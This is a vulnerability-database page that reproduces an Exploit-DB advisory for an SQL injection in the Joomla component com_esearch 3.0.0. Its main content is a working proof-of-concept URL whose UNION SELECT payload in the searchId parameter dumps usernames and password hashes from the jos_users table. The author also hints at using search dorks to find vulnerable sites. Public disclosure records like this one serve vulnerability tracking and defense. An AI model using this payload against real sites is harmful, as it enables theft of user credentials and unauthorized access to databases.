Joomla! Component Search 3.0.0 - SQL Injection

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1062878 漏洞类型
发布时间 2011-08-09 更新时间 2011-08-09
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/17646
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
=========================================================================================
 
  [o] TNR Enhanced Joomla Search <= SQL Injection Vulnerability
  
       Software : com_esearch ver 3.0.0
       Vendor   : http://www.tnrjoomla.com/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Home     : http://evilc0de.blogspot.com/

=========================================================================================

  [o] Exploit
 
       http://localhost/[path]/index.php?search=NoGe&option=com_esearch&searchId=[SQLi]


  [o] PoC

       http://localhost/[path]/index.php?search=NoGe&option=com_esearch&searchId=-1+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14+from+jos_users--


  [o] Dork

       u all know what the dork is right? :))

=========================================================================================

  [o] Greetz

       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe matthews wishnusakti kaka11 inc0mp13te martfella
       pizzyroot Genex H312Y }^-^{ noname tukulesto

=========================================================================================

  [o] August 07 2011 - Papua, Indonesia